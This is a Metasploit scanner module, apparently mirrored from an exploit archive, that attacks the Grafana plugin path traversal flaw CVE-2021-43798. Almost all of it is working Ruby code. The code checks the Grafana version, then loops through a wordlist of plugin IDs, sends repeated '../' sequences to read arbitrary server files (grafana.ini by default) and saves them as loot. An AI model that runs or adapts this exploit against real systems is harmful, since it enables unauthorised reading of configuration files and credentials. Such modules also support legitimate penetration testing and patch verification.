Share
## https://sploitus.com/exploit?id=PACKETSTORM:181050
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Grafana Plugin Path Traversal',  
'Description' => %q{  
Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8, 8.2.7, or 8.3.1 are vulnerable to directory traversal  
through the plugin URL. A valid plugin ID is required, but many are installed by default.  
},  
'Author' => [  
'h00die', # msf module  
'jordyv' # discovery  
],  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DisclosureDate' => '2021-12-02',  
'References' => [  
['CVE', '2021-43798'],  
['URL', 'https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p'],  
['URL', 'https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/'],  
['EDB', '50581'],  
['URL', 'https://github.com/jas502n/Grafana-CVE-2021-43798'],  
['URL', 'https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce'],  
['URL', 'https://labs.detectify.com/security-guidance/how-i-found-the-grafana-zero-day-path-traversal-exploit-that-gave-me-access-to-your-logs/']  
]  
)  
)  
register_options(  
[  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [ true, 'Path to Grafana instance', '/']),  
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/grafana/grafana.ini']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 13]),  
OptPath.new('PLUGINS_FILE', [  
true, 'File containing plugins to enumerate',  
File.join(Msf::Config.data_directory, 'wordlists', 'grafana_plugins.txt')  
]),  
]  
)  
end  
  
def print_progress(host, current, total)  
print_status("#{host} - Progress #{current.to_s.rjust(Math.log10(total).ceil + 1)}/#{total} (#{((current.to_f / total) * 100).truncate(2)}%)")  
end  
  
def check  
res = send_request_cgi!({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
return Exploit::CheckCode::Unknown unless res && res.code == 200  
  
# We need to take into account beta versions, which end with -beta<digit>. See: https://grafana.com/docs/grafana/latest/release-notes/  
# Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss for more info.  
/"subTitle":"Grafana v(?<full_version>\d{1,2}\.\d{1,2}\.\d{1,2}(?:(?:-beta\d)?|(?:-preview)?)) \([0-9a-f]{10}\)",/ =~ res.body  
return Exploit::CheckCode::Safe unless full_version  
  
# However, since 8.3.1 does not have a beta, we can safely ignore the -beta suffix when comparing versions  
# In fact, this is necessary because Rex::Version doesn't correctly handle versions ending with -beta when comparing  
if /-beta\d$/ =~ full_version  
version = Rex::Version.new(full_version[0..-7])  
elsif /-preview$/ =~ full_version  
version = Rex::Version.new(full_version[0..-9])  
else  
version = Rex::Version.new(full_version)  
end  
  
if version.between?(Rex::Version.new('8.0.0-beta1'), Rex::Version.new('8.0.7')) ||  
version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) ||  
version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) ||  
version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1'))  
print_good("Detected vulnerable Grafana: #{full_version}")  
return Exploit::CheckCode::Appears  
end  
print_bad("Detected non-vulnerable Grafana: #{full_version}")  
return Exploit::CheckCode::Safe  
end  
  
def run_host(ip)  
check_code = check  
return unless check_code == Exploit::CheckCode::Appears  
  
f = File.open(datastore['PLUGINS_FILE'], 'rb')  
total = f.readlines.count  
f.rewind  
f = f.readlines  
f.each_with_index do |plugin, i|  
plugin = plugin.strip  
print_progress(target_host, i, total)  
vprint_status("Attempting plugin: #{plugin}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'public', 'plugins', plugin, '../' * datastore['DEPTH'], datastore['FILEPATH'])  
})  
next unless res && res.code == 200  
  
print_good("#{plugin} was found and exploited successfully")  
vprint_good(res.body)  
path = store_loot(  
'grafana.loot',  
'application/octet-stream',  
ip,  
res.body,  
File.basename(datastore['FILEPATH'])  
)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
break  
end  
end  
  
end